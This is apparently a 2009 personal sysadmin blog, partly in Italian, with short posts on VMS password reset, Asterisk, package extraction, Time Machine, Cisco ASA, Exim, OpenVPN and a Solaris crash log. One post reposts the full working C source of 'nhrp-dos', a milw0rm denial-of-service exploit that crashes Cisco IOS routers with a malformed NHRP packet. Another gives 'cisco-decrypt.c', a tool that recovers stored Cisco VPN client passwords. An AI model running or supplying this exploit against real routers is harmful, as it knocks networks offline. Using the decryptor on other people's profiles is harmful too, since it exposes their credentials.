> [{ <addr> | <sym> | + | - | * | @ }]
> FIND [{ /MEMORY | /RPB }]
> HALT
> HELP
> INITIALIZE
> LOGIN
> REPEAT <cmd>
> SET BOOT <ddau>
> SET BFLG <bflg>
> SET DIAGENV <1-3>
> SET FBOOT <0-1>
> SET HALT <1-3>
> SET KBD <0-15>
> SET MOP <0-1>
> SET PSE <0-1>
> SET PSWD
> SET SCSI <0-7>
> SET TRIG <0-1>
> SHOW { BOOT | BFLG | CONFIG | DEV | DIAGENV | FBOOT | ETHER | ERROR |
> ESTAT | HALT | KBD | MEM | MOP | PSE | SCSI | TRIG }
> START <addr>
> TEST [/UTIL] <devnam | devnbr>
> UNJAM
> X <addr> <cnt> ...
> ?
> >>> B/1
> -DKA300
> SYSBOOT>  SET/STARTUP OPA0:
> SYSBOOT>  SET WINDOWS_SYSTEM 0
> %SYSBOOT-E-NOPARAM, no such parameter WINDOWS_SYSTEM
> SYSBOOT>  SET WRITESYSPARAMS 0
> SYSBOOT>  CONTINUE
> VAX/VMS Version V5.5-2H4 Major version id = 1 Minor version id = 0
> PLEASE ENTER DATE AND TIME (DD-MMM-YYYY  HH:MM)  27-NOV-2009 3:51
> $
> $ SPAWN
> SPAWN
> %DCL-S-SPAWNED, process SYSTEM_1 spawned
> %DCL-S-ATTACHED, terminal now attached to process SYSTEM_1
> $ @SYS$SYSTEM:STARTUP
> $!  Copyright (c) 1993 Digital Equipment Corporation.  All rights reserved.
> %STDRV-I-STARTUP, VMS startup begun at 27-NOV-2009 04:00:59.19
> The VAX/VMS system is now executing the system startup procedure.
> %SET-I-NEWAUDSRV, identification of new audit server process is 00000088
> The VAX/VMS system is now executing the site-specific startup commands.
> %RUN-S-PROC_ID, identification of created process is 0000008C
> %NCP-W-FILOPE, File open error , Permanent database
> %NML-E-OPENOUT, error opening SYS$SYSROOT:[SYSEXE]NETLOGING.DAT; as output
> -RMS-F-PLV, unsupported prolog version
> %NCP-W-OPEFAI, Operation failure
> %SYSTEM-F-TIMEOUT, device timeout
> , timeout
> , unit is active
> , fatal hardware error
> %NCP-W-UNRCMP, Unrecognized component , Circuit
> Circuit = SVA-0
> %NCP-I-NOINFO, No information in database
> %RUN-S-PROC_ID, identification of created process is 0000008D
> Job NCPSTART (queue SYS$BATCH, entry 1) started on SYS$BATCH
> %RUN-S-PROC_ID, identification of created process is 0000008F
> %SET-I-INTSET, login interactive limit = 20, current interactive value = 1
> 27-NOV-2009 04:03:07
> Process SYSTEM_1 logged out at 27-NOV-2009 04:03:08.62
> Accounting information:
> Buffered I/O count:            3431         Peak working set size:     888
> Direct I/O count:              1440         Peak page file size:      3806
> Page faults:                  16606         Mounted volumes:             0
> Charged CPU time:           0 00:00:22.71   Elapsed time:     0 00:02:18.06
> %DCL-S-RETURNED, control returned to process STARTUP
> $ SET DEFAULT SYS$SYSTEM
> SET DEFAULT SYS$SYSTEM
> $ RUN SYS$SYSTEM:AUTHORIZE
> RUN SYS$SYSTEM:AUTHORIZE
> UAF> MODIFY SYSTEM /PASSWORD=system
> %UAF-I-MDFYMSG, user record(s) updated
> UAF> EXIT
> %UAF-I-DONEMSG, system authorization file modified
> %UAF-I-RDBNOMODS, no modifications made to rights data base
> $ LOGOUT
> LOGOUT
> SYSTEM       job terminated at 27-NOV-2009 04:04:26.81
> Accounting information:
> Buffered I/O count:              99         Peak working set size:    1056
> Direct I/O count:                46         Peak page file size:      3978
> Page faults:                    471         Mounted volumes:             0
> Charged CPU time:           0 00:00:00.41   Elapsed time:     0 00:05:33.58
> Welcome to VAX/VMS V5.5-2H4
> Username:

Asterisk - permissions and ownership for the socket console

Tue, 10 Nov 2009 06:18:28 +0000

If you need to give asterisk operational permission to a simple user on linux system, first of all you can add it on asterisk group, then you can edit “asterisk.conf” usually on /etc/asterisk/ and give rwx permission to asterisk group like this (add if they don’t exist):

[files]
astctlpermissions => 770
astctlowner => asterisk
astctlgroup => asterisk
astctl => /var/run/asterisk/asterisk.ctl

Restart asterisk to apply changes.

Common error (wrong socket permission):

[leo@srv01 ~]$ /usr/sbin/asterisk -r
Asterisk 1.4.22-4 RPM by vc-rpms@voipconsulting.nl, Copyright (C) 1999 - 2008 Digium, Inc. and others.
Created by Mark Spencer
Asterisk comes with ABSOLUTELY NO WARRANTY; type 'core show warranty' for details.
This is free software, with components licensed under the GNU General Public
License version 2 and other licenses; you are welcome to redistribute it under
certain conditions. Type 'core show license' for details.
=========================================================================
Unable to connect to remote asterisk (does /var/run/asterisk/asterisk.ctl exist?)
[leo@srv01 ~]$

Extract files from DEB package

Tue, 10 Nov 2009 06:00:17 +0000

Some day ago, I wrote about RPM extraction, today I need content of DEB packcage, on the contrary of rpm systems debian package manager allow to extract natively by this command:

#dpkg-deb -x somepackage.i386.deb

But my problem is different, I not using Debian sytem, fortunately DEB files are “ar” archives, which contain three files:

debian-binary
control.tar.gz
data.tar.gz

first, extract “ar” archive with this simple command:

# ar vx somepackage.i386.deb

then extract the contents of data.tar.gz using tar:

Mac OS X - Time Machine network backup without Time Capsule

Tue, 03 Nov 2009 04:44:39 +0000

From OS X 10.5 (Leopard) Apple introduced Time Machine: a great combination of rsync/rsnapshot and a beautiful user interface. Time Machine works in two modes: 1. local volume on local area or 2. Time Capsule over network. Now I don’t wanna buy another box with apple logo over it for much $$$ when I have a lot of file servers on my network.

Now I explain a few hoops to get this system to work:

First: persuade Time Machine to see the SMB share as a Time Machine destination by activating the unsupported network drives feature by this console command:

defaults write com.apple.systempreferences TMShowUnsupportedNetworkVolumes 1

Second: set up the file server with SMB dedicated share to Time Machine, create an appropriate disk image locally (see below) and copy it into share.

To create the disk image, you’ll need to find out two pieces of information about the computer you want to backup: its Computer Name and its Ethernet ID (Ethernet MAC address). The Computer Name is the one that you set in the Sharing System Preferences pane. For example my is “LeoBook2”.

You can get the Ethernet ID by this command (use wired mac nic even if you’ll be using wifi connection): `

ifconfig en0 | grep ether | sed s/://g | sed s/ether//

Compose image name following this syntax: Computer Name, followed by an underscore, followed by the Ethernet ID without the colons, followed by .sparsebundle (Ex. “LeoBook2_000d9358ca26.sparsebundle”).

Now go to Terminal and type the following commands:

`# DISK_IMAGE_NAME=“LeoBook2_000d9358ca26.sparsebundle”

DISK_SIZE=200000

hdiutil create -library SPUD -megabytes $DISK_SIZE -fs HFS+J -type SPARSEBUNDLE -volname “$DISK_IMAGE_NAME” “$DISK_IMAGE_NAME”`

After you’ve run this command, you should end up with a disk image in your Home. It looks like a single file, but it’s actually a directory (just like a application). Don’t forget to copy this disk image to the appropriate share on your server. Just dragging and dropping from the Finder should work fine.

Now you are able to use the share as Time Machine backup volume.

Have a fun Leo

Extract files from RPM package

Mon, 02 Nov 2009 04:58:35 +0000

There is no direct RPM option available via rpm command to extract an RPM file. But there is a small utility available called rpm2cpio. It Extract cpio archive from RPM Package Manager (RPM) package. Example extract RPM file using rpm2cpio and cpio command:

# rpm2cpio somepackage.x86_64.rpm | cpio -idmv

Output of rpm2cpio piped to cpio command with following options: i: Restore archive d: Create leading directories where needed m: Retain previous file modification times when creating files v: Verbose

Graphic Restyle

Wed, 28 Oct 2009 12:00:55 +0000

I’m working on graphic restyle, today the first release!

Leo

Sun Ultra10 - Crash/Recovery

Fri, 02 Oct 2009 05:25:19 +0000

Yesterday after 1 year and 2 month uptime, my poor Sun Ultra 10 (Solaris OS10) running into home server room, was crashed..

I’m so sick, here the paste of console recovery procedure:

Type  'go' to resume
ok ?
1000000
Stack Underflow
ok sync
panic[cpu0]/thread=2a100057ca0: sync initiated
sched: software trap 0x7f
pid=0, pc=0xf0050c7c, sp=0x2a100056e81, tstate=0x8800001401, context=0x0
g1-g7: 104da44, 0, 183f000, 0, 1082400, 5, 2a100057ca0
00000000fffa9d10 unix:sync_handler+138 (fffe5718, 1000000, 1, 1083400, 1, 181500                                             0)
  %l0-3: 00000000018621b0 0000000001862000 000000000000017f 0000000001845800
  %l4-7: 0000000000000000 000000000183f000 0000000000000009 0000000001810400
00000000fffa9de0 unix:vx_handler+80 (fffe5718, 181dfe8, f0000000, fffe0000, 181e                                             0f0, f003bda1)
  %l0-3: 000000000181e0f0 0000000000000000 0000000000000001 0000000000000001
  %l4-7: 0000000001810c00 00000000f0000000 0000000001000000 0000000001018998
00000000fffa9e90 unix:callback_handler+20 (fffe5718, 1, 0, 0, 0, 0)
  %l0-3: 0000000000000016 00000000fffa9741 00000000f004a64c 00000000fffe0000
  %l4-7: 0000000000000016 0000000000000000 0000000000000000 000000000180c000
syncing file systems... 3 done
dumping to /dev/dsk/c0t0d0s7, offset 107413504, content: kernel
100% done: 15712 pages dumped, compression ratio 2.54, dump succeeded
rebooting...
Resetting ...
Sun Ultra 5/10 UPA/PCI (UltraSPARC-IIi 440MHz), No Keyboard
OpenBoot 3.25, 512 MB (50 ns) memory installed, Serial #15184795.
Ethernet address 8:0:20:e7:b3:9b, Host ID: 80e7b39b.
Rebooting with command: boot
Boot device: /pci@1f,0/pci@1,1/ide@3/disk@0,0:a  File and args:
SunOS Release 5.10 Version Generic_137111-06 64-bit
Copyright 1983-2008 Sun Microsystems, Inc.  All rights reserved.
Use is subject to license terms.
Hostname: ultra10
Loading smf(5) service descriptions: 1/1
WARNING: svccfg import /var/svc/manifest/application/database/mysql.xml failed
svccfg import warnings. See /var/svc/log/system-manifest-import:default.log .
/dev/rdsk/c0t0d0s1 is clean
ultra10 console login: root
Password:
Sep 29 23:02:52 ultra10 login: ROOT LOGIN /dev/console
Last login: Tue Sep 29 22:21:42 from 192.168.2.15
Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
root@ultra10 ~ #

Cisco - ASA/PIX enable ASDM

Thu, 17 Sep 2009 14:49:16 +0000

fw01a> enable
Password:
fw01a# configure terminal
fw01a(Config)# interface ethernet1
fw01a(Config-if)# nameif inside
fw01a(Config-if)# ip address 192.168.1.1 255.255.255.0
fw01a(Config-if)# no shutdown
fw01a(Config-if)#

Activate ASDM and enable http server.

fw01a(Config)# asdm image flash:/asdm.bin.
fw01a(Config)# http server enable.

Open a connection for your inside network.

fw01a(Config)# http 192.168.1.0 255.255.255.0 inside

Make sure all your config running properly.

fw01a(Config)# show running http
http server enabled
http 192.168.1.0 255.255.255.0 inside
fw01a(Config)#

Now your Cisco ASA/PIX can be access from your PC, open your web browser then enter this address https://192.168.1.1/admin

Exim - Command

Wed, 16 Sep 2009 02:30:59 +0000

Some userfull Exim command:

exim -bpmailq --- The mailq is relevant as it gives your the email IDs.
exim -M emailIDforce delivery of one message
exim -qf Force another queue run
exim -qff

Force another queue run and attempt to flush frozen messages
exim -Mvl message IDView Log for message
exim -Mvb message IDView Body for message
exim -Mvh message IDView Header for message
exim -Mrm message IDReMove message (no errors sent)
exim -Mg message IDGive up and fail message, message bounces to sender

Watch - Exim Queue

Wed, 16 Sep 2009 02:13:35 +0000

Just in one line memo:

# watch -n 5 'exim -bp | exiqsumm |grep TOTAL'

Cisco DMVPN/NBMA - Security

Wed, 16 Sep 2009 01:54:46 +0000

I’m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.

Now the problem: what about security? especially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.

Solution: I’m thinking about…

Only for testing purpose, I find this exploit:

/******************************************************************************/
/*                                                                            */
/* nhrp-dos - Copyright by Martin Kluge, <mk@elxsi.de>                        */
/*                                                                            */
/* Feel free to modify this code as you like, as long as you include the      */
/* above copyright statement.                                                 */
/*                                                                            */
/* Please use this code only to check your OWN cisco routers.                 */
/*                                                                            */
/* Cisco bug ID: CSCin95836                                                   */
/*                                                                            */
/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */
/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */
/* subnetwork to determine the internetworking layer address and NBMA         */
/* subnetwork addresses of the NBMA next hop towards the destination.         */
/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */
/* IPSEC.                                                                     */
/*                                                                            */
/* URLs:                                                                      */
/* - [RFC2332/NHRP]       http://rfc.net/rfc2332.html                         */
/* - [RFC1701/GRE]        http://rfc.net/rfc1701.html                         */
/* - [DMVPNs with Cisco]  http://www.cisco.com/en/US/tech/tk583/tk372/techno  */
/*                        logies_white_paper09186a008018983e.shtml            */
/*                                                                            */
/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */
/* provided.                                                                  */
/*                                                                            */
/* Vulnerable images (tested):                                                */
/*                                                                            */
/*  - c7100-jk9o3s-mz.123-12e.bin                                             */
/*  - c7200-jk8o3s-mz.122-40.bin                                              */
/*  - c3640-js-mz.122-15.T17.bin                                              */
/* (and many other IOS versions on different platforms)                       */
/*                                                                            */
/* Vulnerable configuration on cisco IOS:                                     */
/*                                                                            */
/* interface Tunnel0                                                          */
/*  ip address 10.0.0.1 255.255.255.128                                       */
/*  no ip redirects                                                           */
/*  no ip proxy-arp                                                           */
/*  ip mtu 1464                                                               */
/*  ip nhrp authentication mysecret                                           */
/*  ip nhrp network-id 1000                                                   */
/*  ip nhrp map multicast dynamic                                             */
/*  ip nhrp server-only                                                       */
/*  ip nhrp holdtime 30                                                       */
/*  tunnel source FastEthernet0/0                                             */
/*  tunnel mode gre multipoint                                                */
/*  tunnel key 123456789                                                      */
/*                                                                            */
/* This exploit works even if "ip nhrp authentication" is configured on the   */
/* cisco router. You can also specify a GRE key (use 0 to disable this        */
/* feature) if the GRE tunnel is protected. You don't need to know the        */
/* NHRP network id (or any other configuration details, except the GRE key if */
/* it is set on the target router).                                           */
/*                                                                            */
/* NOTE: The exploit only seems to work, if a NHRP session between the target */
/*       router and at least one client is established.                       */
/*                                                                            */
/* Code injection is also possible (thanks to sky for pointing this out), but */
/* it is not very easy and depends heavily on the IOS version / platform.     */
/*                                                                            */
/* Example:                                                                   */
/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */
/*                                                                            */
/* Router console output:                                                     */
/*                                                                            */
/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */
/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */
/* <snip>                                                                     */
/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */
/* Cause 00000024 (Code 0x9): Breakpoint exception                            */
/*                                                                            */
/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */
/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */
/*                                                                            */
/* Router reboots or sometimes hangs ;)                                       */
/*                                                                            */
/*                                                                            */
/* Workaround: Disable NHRP ;)                                                */
/*                                                                            */
/* I'd like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */
/* regarding this issue.                                                      */
/*                                                                            */
/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */
/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */
/*                   and #infiniteVOID                                        */
/*                                                                            */
/******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
/* BSD */
#define _BSD
/* Header sizes */
#define IP_HDR_SIZE     20
#define GRE_HDR_SIZE    4
#define GRE_KEY_SIZE    4
#define NHRP_HDR_SIZE   62
/* Function prototypes */
int open_socket (void);
int close_socket (int);
int send_dos(int, unsigned long, unsigned long, unsigned long);
unsigned long resolve_ip (char *);
unsigned long get_int_ipv4 (char *);
/* Globals */
int sockfd;
int nhrp_req_id;
/* GRE header */
struct gre_h {
unsigned short flags;   /* GRE flags */
unsigned short ptype;   /* GRE protocol type */
unsigned int   key;     /* GRE key */
};
/* NHRP header */
struct nhrp_h {
/* NHRP fixed header (20 bytes) */
struct {
unsigned short afn;             /* NHRP AFN */
unsigned short proto;           /* NHRP protocol type */
unsigned int   snap;            /* NHRP SNAP */
unsigned short snapE:8;         /* NHRP SNAP */
unsigned short hops:8;          /* NHRP hop count */
unsigned short length;          /* NHRP total length */
unsigned short checksum;        /* NHRP checksum */
unsigned short mpoa_ext;        /* NHRP MPOA extensions */
unsigned short version:8;       /* NHRP version */
unsigned short type:8;          /* NHRP type */
unsigned short nbma_addr:8;     /* NHRP t/l of NBMA address */
unsigned short nbma_sub:8;      /* NHRP t/l of NBMA subaddr */
} fixed;
/* NHRP mandatory part */
struct {
unsigned short src_len:8;       /* NHRP src protocol length */
unsigned short dst_len:8;       /* NHRP dest protocol length */
unsigned short flags;           /* NHRP flags */
unsigned int   request_id;      /* NHRP request ID */
unsigned long  client_nbma;     /* NHRP client NBMA address */
unsigned long  client_nbma_sub; /* NHRP client NBMA subaddr */
unsigned long  client_pro_addr; /* NHRP client protocol addr */
} mand;
/* NHRP client information entries (CIE) */
union {
struct {
unsigned short code:8;          /* NHRP code */
unsigned short pref_len:8;      /* NHRP prefix length */
unsigned short reserved;        /* NHRP reserved */
unsigned short mtu;             /* NHRP MTU */
unsigned short holding_time;    /* NHRP holding time */
unsigned short len_client:8;    /* NHRP t/l cl addr */
unsigned short len_client_sub:8;/* NHRP t/l cl sub */
unsigned short len_client_pro:8;/* NHRP t/l cl pro */
unsigned short preference:8;    /* NHRP preference */
unsigned short ext;             /* NHRP extension */
} cie;
};
};
/* Main function */
int main (int argc, char **argv) {
/* Check command line */
if(argc != 4) {
fprintf(stderr, "\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
fprintf(stderr, "------------------------------------------------\n");
fprintf(stderr, "Usage: ./nhrp-dos <device> <target> <GRE key>\n");
fprintf(stderr, "(Set GRE key = 0 to disable GRE keys!)\n\n");
exit(EXIT_FAILURE);
}
/* Check UID */
if(getuid() != 0 && geteuid() != 0) {
fprintf(stderr, "Error: Please run as root!\n");
exit(EXIT_FAILURE);
}
/* Open a socket */
sockfd = open_socket();
/* Send DoS packet */
send_dos(sockfd, get_int_ipv4(argv[1]), resolve_ip(argv[2]), atoi(argv[3]));
/* Close the socket */
close_socket(sockfd);
exit(EXIT_SUCCESS);
}
/* Open the socket */
int open_socket (void)
{
int fd;
int one = 1;
void *ptr = &one;
/* Open the socket */
fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
if(fd < 0) {
fprintf(stderr, "Error: open_socket: Unable to open socket.\n");
exit(EXIT_FAILURE);
}
/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */
/* Otherwise it would be done by the kernel. */
if(setsockopt(fd, IPPROTO_IP, IP_HDRINCL, ptr, sizeof(one)) < 0) {
fprintf(stderr, "Error: open_socket: setsockopt failed.\n");
exit(EXIT_FAILURE);
}
#ifndef _BSD
if(setsockopt(fd, IPPROTO_IP, SO_BROADCAST, ptr, sizeof(one)) < 0) {
fprintf(stderr,"Error: open_socket: setsockopt failed.\n");
exit(EXIT_FAILURE);
}
#endif
return(fd);
}
/* Close the socket */
int close_socket (int fd)
{
return(close(fd));
}
/* Resolve the hostname to IP address */
unsigned long resolve_ip (char *host)
{
struct in_addr addr;
struct hostent *host_ent;
if((addr.s_addr = inet_addr(host)) == -1) {
if(!(host_ent = gethostbyname(host)))
return(-1);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}
return(addr.s_addr);
}
/* Get IPv4 address of DEVICE */
unsigned long get_int_ipv4 (char *device)
{
int tmp_fd;
struct ifreq ifr;
struct sockaddr_in *sin;
tmp_fd = socket(PF_INET, SOCK_DGRAM, 0);
if(tmp_fd < 0) {
fprintf(stderr, "Error: get_int_ipv4: socket failed.\n");
exit(EXIT_FAILURE);
}
memset(&ifr, 0, sizeof(ifr));
sin = (struct sockaddr_in *) &ifr.ifr_addr;
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_addr.sa_family = AF_INET;
if(ioctl(tmp_fd, SIOCGIFADDR, (char *) &ifr) < 0) {
fprintf(stderr, "Error: get_int_ipv4: ioctl failed.\n");
exit(EXIT_FAILURE);
}
close(tmp_fd);
return(sin->sin_addr.s_addr);
}
/* Send NHRP packet */
int send_dos (int fd, unsigned long src_ip, unsigned long dst_ip,
unsigned long gre_key)
{
struct ip ip_hdr;
struct ip *iphdr;
struct gre_h gre_hdr;
struct nhrp_h nhrp_hdr;
struct sockaddr_in sin;
unsigned int bytes = 0;
int GRE_SIZE = GRE_HDR_SIZE;
/* Packet buffer */
unsigned char *buf;
if(gre_key!=0)
GRE_SIZE+=GRE_KEY_SIZE;
/* Allocate some memory */
buf = malloc(IP_HDR_SIZE+GRE_SIZE+NHRP_HDR_SIZE);
if(buf < 0) {
fprintf(stderr, "Error: send_dos: malloc failed.\n");
exit(EXIT_FAILURE);
}
/* Increment NHRP request ID */
nhrp_req_id++;
/* IPv4 Header */
ip_hdr.ip_v             = 4;                    /* IP version */
ip_hdr.ip_hl            = 5;                    /* IP header length */
ip_hdr.ip_tos           = 0x00;                 /* IP ToS */
ip_hdr.ip_len           = htons(IP_HDR_SIZE  +
GRE_SIZE +
NHRP_HDR_SIZE
);                    /* IP total length */
ip_hdr.ip_id            = 0;                    /* IP identification */
ip_hdr.ip_off           = 0;                    /* IP frag offset */
ip_hdr.ip_ttl           = 64;                   /* IP time to live */
ip_hdr.ip_p             = IPPROTO_GRE;          /* IP protocol */
ip_hdr.ip_sum           = 0;                    /* IP checksum */
ip_hdr.ip_src.s_addr    = src_ip;               /* IP source */
ip_hdr.ip_dst.s_addr    = dst_ip;               /* IP destination */
/* GRE header */
if(gre_key != 0) {
gre_hdr.flags   = htons(0x2000);        /* GRE flags */
gre_hdr.key     = htonl(gre_key);       /* GRE key */
} else {
gre_hdr.flags   = 0;
}
gre_hdr.ptype           = htons(0x2001);        /* GRE type (NHRP) */
/* NHRP fixed header */
nhrp_hdr.fixed.afn      = htons(0x0001);        /* NHRP AFN */
nhrp_hdr.fixed.proto    = htons(0x0800);        /* NHRP protocol type */
nhrp_hdr.fixed.snap     = 0;                    /* NHRP SNAP */
nhrp_hdr.fixed.snapE    = 0;                    /* NHRP SNAP */
nhrp_hdr.fixed.hops     = 0xFF;                 /* NHRP hop count */
/* DoS -> Set length to 0xFFFF */
nhrp_hdr.fixed.length   = htons(0xFFFF);        /* NHRP length */
/* Checksum can be incorrect */
nhrp_hdr.fixed.checksum = 0;                    /* NHRP checksum */
nhrp_hdr.fixed.mpoa_ext = htons(0x0034);        /* NHRP MPOA ext */
nhrp_hdr.fixed.version  = 1;                    /* NHRP version */
nhrp_hdr.fixed.type     = 3;                    /* NHRP type */
nhrp_hdr.fixed.nbma_addr= 4;                    /* NHRP NBMA t/l addr */
nhrp_hdr.fixed.nbma_sub = 0;                    /* NHRP NBMA t/l sub */
/* NHRP mandatory part */
nhrp_hdr.mand.src_len   = 4;                    /* NHRP src proto len */
nhrp_hdr.mand.dst_len   = 4;                    /* NHRP dst proto len */
nhrp_hdr.mand.flags     = htons(0x8000);        /* NHRP flags */
nhrp_hdr.mand.request_id  = htonl(nhrp_req_id); /* NHRP request ID */
nhrp_hdr.mand.client_nbma = src_ip;             /* NHRP client addr */
nhrp_hdr.mand.client_nbma_sub = 0;              /* NHRP client sub  */
nhrp_hdr.mand.client_pro_addr = 0;              /* NHRP client proto */
/* NHRP client information entries (CIE) */
nhrp_hdr.cie.code       = 0;                    /* NHRP code */
nhrp_hdr.cie.pref_len   = 0xFF;                 /* NHRP prefix len */
nhrp_hdr.cie.reserved   = 0x0000;               /* NHRP reserved */
nhrp_hdr.cie.mtu        = htons(1514);          /* NHRP mtu */
nhrp_hdr.cie.holding_time = htons(30);          /* NHRP holding time */
nhrp_hdr.cie.len_client = 0;                    /* NHRP t/l client */
nhrp_hdr.cie.len_client_sub = 0;                /* NHRP t/l sub */
nhrp_hdr.cie.len_client_pro = 0;                /* NHRP t/l pro */
nhrp_hdr.cie.preference = 0;                    /* NHRP preference */
nhrp_hdr.cie.ext        = htons(0x8003);        /* NHRP C/U/Type (ext)*/
/* Copy the IPv4 header to the buffer */
memcpy(buf, (unsigned char *) &ip_hdr, sizeof(ip_hdr));
/* Copy the GRE header to the buffer */
memcpy(buf + IP_HDR_SIZE, (unsigned char *) &gre_hdr, sizeof(gre_hdr));
/* Copy the NHRP header to the buffer */
memcpy(buf + IP_HDR_SIZE + GRE_SIZE, (unsigned char *) &nhrp_hdr,
sizeof(nhrp_hdr));
/* Fix some BSD bugs */
#ifdef _BSD
iphdr = (struct ip *) buf;
iphdr->ip_len = ntohs(iphdr->ip_len);
iphdr->ip_off = ntohs(iphdr->ip_off);
#endif
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr->ip_dst.s_addr;
printf("\nnhrp-dos (c) by Martin Kluge <mk@elxsi.de>, 2007\n");
printf("------------------------------------------------\n");
printf("Sending DoS packet...");
/* Send the packet */
bytes = sendto(fd, buf, IP_HDR_SIZE + GRE_SIZE + NHRP_HDR_SIZE, 0,
(struct sockaddr *) &sin, sizeof(struct sockaddr));
printf("DONE (%d bytes)\n\n", bytes);
/* Free the buffer */
free(buf);
/* Return number of bytes */
return(bytes);
}
// milw0rm.com [2007-08-09]

Download

Auto Check - OpenVPN

Mon, 14 Sep 2009 01:45:30 +0000

Su connessioni fastweb usando openvpn è in caso di restart dei router di destinazione spesso le sessioni restano appese e non viene ristabilito il tunnel, in teoria questo bug è stato risolto nelle ultime release, per non rischiare 4 righe di script:

#!/bin/bash
if ! ping -c 1 -w 5 "xxx.xxx.xxx.xxx" &>/dev/null ; then
/etc/init.d/openvpn restart
fi

Eseguite ogni 5 minuti come da cron:

*/5 * * * * /root/yeahup

BlackBerry - Full Wipe

Fri, 04 Sep 2009 13:07:33 +0000

Blackberry “Wipe-Handheld” command list:

=> Options menu => Security Options => General Settings => Menu => Wipe handheld => Enter password (“blackberry” by default or your security password)

cisco-decrypt.c

Thu, 20 Aug 2009 02:28:21 +0000

/* Decoder for password encoding of Cisco VPN client.
Copyright (C) 2005 Maurice Massar
Thanks to HAL-9000@evilscientists.de for decoding and posting the algorithm!This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

/*
Requires libgcrypt version 1.1.90 or newer
Compile with:
gcc -Wall -o cisco-decrypt cisco-decrypt.c $(libgcrypt-config --libs --cflags)
Usage:
./cisco-decrypt DEADBEEF...012345678 424242...7261
*/
#include <stdio.h>
#include <stdlib.h>
#include <gcrypt.h>
#include <errno.h>
int hex2bin_c(unsigned int c)
{
if ((c >= '0')&&(c <= '9'))
return c - '0';
if ((c >= 'A')&&(c <= 'F'))
return c - 'A' + 10;
if ((c >= 'a')&&(c <= 'f'))
return c - 'a' + 10;
return -1;
}
int hex2bin(const char *str, char **bin, int *len)
{
char *p;
int i, l;
if (!bin)
return EINVAL;
for (i = 0; str[i] != '\0'; i++)
if (hex2bin_c(str[i]) == -1)
return EINVAL;
l = i;
if ((l & 1) != 0)
return EINVAL;
l /= 2;
p = malloc(l);
if (p == NULL)
return ENOMEM;
for (i = 0; i < l; i++)
p[i] = hex2bin_c(str[i*2]) << 4 | hex2bin_c(str[i*2+1]);
*bin = p;
if (len)
*len = l;
return 0;
}
int c_decrypt(char *ct, int len, char **resp, char *reslenp)
{
const char *h1  = ct;
const char *h4  = ct + 20;
const char *enc = ct + 40;
char ht[20], h2[20], h3[20], key[24];
const char *iv = h1;
char *res;
gcry_cipher_hd_t ctx;
int reslen;
if (len < 48)
return 0;
len -= 40;
memcpy(ht, h1, 20);
ht[19]++;
gcry_md_hash_buffer(GCRY_MD_SHA1, h2, ht, 20);
ht[19] += 2;
gcry_md_hash_buffer(GCRY_MD_SHA1, h3, ht, 20);
memcpy(key, h2, 20);
memcpy(key+20, h3, 4);
/* who cares about parity anyway? */
gcry_md_hash_buffer(GCRY_MD_SHA1, ht, enc, len);
if (memcmp(h4, ht, 20) != 0)
return -1;
res = malloc(len);
if (res == NULL)
return -1;
gcry_cipher_open(&ctx, GCRY_CIPHER_3DES, GCRY_CIPHER_MODE_CBC, 0);
gcry_cipher_setkey(ctx, key, 24);
gcry_cipher_setiv(ctx, iv, 8);
gcry_cipher_decrypt(ctx, (unsigned char *)res, len, (unsigned char *)enc, len);
gcry_cipher_close(ctx);
reslen = len - res[len-1];
res[reslen] = '\0';
if (resp)
*resp = res;
if (reslenp)
*reslenp = reslen;
return 0;
}
int main(int argc, char *argv[])
{
int i, len, ret = 0;
char *bin, *pw;
gcry_check_version(NULL);
for (i = 1; i < argc; i++) {
ret = hex2bin(argv[i], &bin, &len);
if (ret != 0) {
perror("decoding input");
continue;
}
ret = c_decrypt(bin, len, &pw, NULL);
free(bin);
if (ret != 0) {
perror("decrypting input");
continue;
}
printf("%s\n", pw);
free(pw);
}
exit(ret != 0);
}
Download: cisco-decrypt

Windows - Reset resolution from registry

Sat, 15 Aug 2009 15:27:08 +0000

Durante una migrazione di datacenter mi è capitato di aver fuori uso la console di un server perchè la risoluzione della scheda video è fuori range del monitor, avendo accesso RDP la soluzione è presto trovata dal registro di sistema nella seguente posizione:

My Computer\HKEY_CURRENT_CONFIG\System\CurrentControlSet\Control\VIDEO

